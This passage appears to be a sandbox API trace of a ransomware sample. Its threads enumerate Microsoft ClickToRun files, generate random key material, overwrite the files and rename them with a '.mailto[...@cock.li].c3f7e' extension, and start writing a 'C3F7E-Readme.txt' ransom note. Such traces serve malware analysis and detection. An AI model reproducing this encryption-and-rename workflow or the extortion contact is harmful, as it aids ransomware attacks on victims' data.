	[0080.007] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.007] WriteFile (in: hFile=0x13cc, lpBuffer=0x4e4d070*, nNumberOfBytesToWrite=0x7b4, lpNumberOfBytesWritten=0x12bbf75c, lpOverlapped=0x0 | out: lpBuffer=0x4e4d070*, lpNumberOfBytesWritten=0x12bbf75c*=0x7b4, lpOverlapped=0x0) returned 1
	[0080.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0080.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0080.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e4d070) returned 1
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e40868) returned 1
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfaa48
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa850
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb078
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0080.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0080.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2e02570
	[0080.158] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.158] WriteFile (in: hFile=0x13cc, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x12bbf7c4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x12bbf7c4*=0x11d, lpOverlapped=0x0) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa48) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0080.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4771360
	[0080.223] wcscpy (in: _Dest=0x4771360, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml"
	[0080.223] wcscat (in: _Dest=0x4771360, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.223] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x12bbf77c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773a90
	[0080.224] NtSetInformationFile (FileHandle=0x13cc, IoStatusBlock=0x12bbf774, FileInformation=0x4773a90, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0085.571] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773a90) returned 1
	[0085.571] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e208) returned 1
	[0085.571] NtQueryInformationFile (in: FileHandle=0x13cc, IoStatusBlock=0x12bbf788, FileInformation=0x12bbf760, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x12bbf788, FileInformation=0x12bbf760) returned 0x0
	[0085.571] NtSetInformationFile (FileHandle=0x13cc, IoStatusBlock=0x12bbf788, FileInformation=0x12bbf760, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.572] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771360) returned 1
	[0085.572] FlushFileBuffers (hFile=0x13cc) returned 1
	[0093.066] CloseHandle (hObject=0x13cc) returned 1
	[0093.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04720
	[0093.068] wcscpy (in: _Dest=0x2e04720, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0093.068] wcscat (in: _Dest=0x2e04720, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt"
	[0093.068] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\c3f7e-readme.txt")) returned 0xffffffff
	[0093.068] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 471
	os_tid = 0x1684

	[0077.384] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml")) returned 0x20
	[0085.574] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", dwFileAttributes=0x20) returned 1
	[0085.574] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1848
	[0085.574] GetFileSizeEx (in: hFile=0x1848, lpFileSize=0x12c3f828 | out: lpFileSize=0x12c3f828*=1382) returned 1
	[0085.574] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.574] ReadFile (in: hFile=0x1848, lpBuffer=0x12c3f7ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12c3f7a8, lpOverlapped=0x0 | out: lpBuffer=0x12c3f7ac*, lpNumberOfBytesRead=0x12c3f7a8*=0x4, lpOverlapped=0x0) returned 1
	[0085.576] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.576] NtQuerySystemTime (in: CurrentTime=0x12c3f788 | out: CurrentTime=0x12c3f788*=132251868123119183) returned 0x0
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xaf30c746
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x618f55fd
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xfc1dfb0e
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xc164b049
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xe88e1bfe
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x10d78e7
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x660b84d2
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x8c00c9e2
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xe396e3a7
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xddc4c6ae
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x73f4fb4d
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xdc6f26fa
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x4c119ea0
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xe4bcb780
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xd1ba342a
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x4e66de09
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xa38e9941
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xf409c2e3
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xcd0215e4
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x878a8f2
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x1a3f2fac
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x1c095775
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xdfbacbe4
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x2b189a04
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x548dff46
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x8e236a27
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x9179817
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x73b5b6f5
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x8b03f57c
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x6441f6ae
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0xad8b8967
	[0085.576] RtlRandom (in: Seed=0x12c3f794 | out: Seed=0x12c3f794) returned 0x335b4bf2
	[0085.585] ReadFile (in: hFile=0x1848, lpBuffer=0x47db828, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x12c3f784, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x12c3f784*=0x566, lpOverlapped=0x0) returned 1
	[0085.585] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.585] WriteFile (in: hFile=0x1848, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x12c3f780, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x12c3f780*=0x566, lpOverlapped=0x0) returned 1
	[0085.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.589] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.589] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.589] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.589] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.589] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb3d8
	[0085.589] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.589] WriteFile (in: hFile=0x1848, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x12c3f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x12c3f7e8*=0x11d, lpOverlapped=0x0) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.591] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.591] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49259c8
	[0085.591] wcscpy (in: _Dest=0x49259c8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml"
	[0085.591] wcscat (in: _Dest=0x49259c8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.591] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x12c3f7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.591] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0085.591] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0085.591] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.591] NtQueryInformationFile (in: FileHandle=0x1848, IoStatusBlock=0x12c3f7ac, FileInformation=0x12c3f784, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x12c3f7ac, FileInformation=0x12c3f784) returned 0x0
	[0085.591] NtSetInformationFile (FileHandle=0x1848, IoStatusBlock=0x12c3f7ac, FileInformation=0x12c3f784, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49259c8) returned 1
	[0085.592] FlushFileBuffers (hFile=0x1848) returned 1
	[0093.068] CloseHandle (hObject=0x1848) returned 1
	[0093.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04c48
	[0093.069] wcscpy (in: _Dest=0x2e04c48, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0093.069] wcscat (in: _Dest=0x2e04c48, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt"
	[0093.069] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\c3f7e-readme.txt")) 

Thread:
	id = 472
	os_tid = 0x1688

	[0077.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e17a48
	[0077.385] wcscpy (in: _Dest=0x2e17a48, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0077.385] wcscat (in: _Dest=0x2e17a48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\"
	[0077.385] wcscat (in: _Dest=0x2e17a48, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*"
	[0077.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a14b0
	[0077.385] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x47a14b0 | out: lpFindFileData=0x47a14b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad4f8
	[0079.424] wcscmp (_String1=".", _String2=".") returned 0
	[0079.428] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x47a14b0 | out: lpFindFileData=0x47a14b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.428] wcscmp (_String1="..", _String2=".") returned 1
	[0079.428] wcscmp (_String1="..", _String2="..") returned 0
	[0079.428] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x47a14b0 | out: lpFindFileData=0x47a14b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1
	[0079.428] wcscmp (_String1="Catalog", _String2=".") returned 1
	[0079.428] wcscmp (_String1="Catalog", _String2="..") returned 1
	[0079.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754088
	[0079.428] wcscpy (in: _Dest=0x4754088, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0079.428] wcscat (in: _Dest=0x4754088, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\"
	[0079.428] wcscat (in: _Dest=0x4754088, _Source="Catalog" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog"

Thread:
	id = 473
	os_tid = 0x168c

	[0077.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x4733190
	[0077.385] wcscpy (in: _Dest=0x4733190, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0077.385] wcscat (in: _Dest=0x4733190, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\"
	[0077.385] wcscat (in: _Dest=0x4733190, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*"
	[0077.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1718
	[0077.386] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x47a1718 | out: lpFindFileData=0x47a1718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477af28
	[0085.621] wcscmp (_String1=".", _String2=".") returned 0
	[0085.621] FindNextFileW (in: hFindFile=0x477af28, lpFindFileData=0x47a1718 | out: lpFindFileData=0x47a1718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.621] wcscmp (_String1="..", _String2=".") returned 1
	[0085.621] wcscmp (_String1="..", _String2="..") returned 0
	[0085.621] FindNextFileW (in: hFindFile=0x477af28, lpFindFileData=0x47a1718 | out: lpFindFileData=0x47a1718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1
	[0085.621] wcscmp (_String1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", _String2=".") returned 1
	[0085.621] wcscmp (_String1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", _String2="..") returned 1
	[0085.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2dce0
	[0085.621] wcscpy (in: _Dest=0x4f2dce0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0085.621] wcscat (in: _Dest=0x4f2dce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\"
	[0085.621] wcscat (in: _Dest=0x4f2dce0, _Source="5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F"

Thread:
	id = 474
	os_tid = 0x1690

	[0077.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4734158
	[0077.387] wcscpy (in: _Dest=0x4734158, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData"
	[0077.387] wcscat (in: _Dest=0x4734158, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\"
	[0077.387] wcscat (in: _Dest=0x4734158, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*"
	[0077.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf390
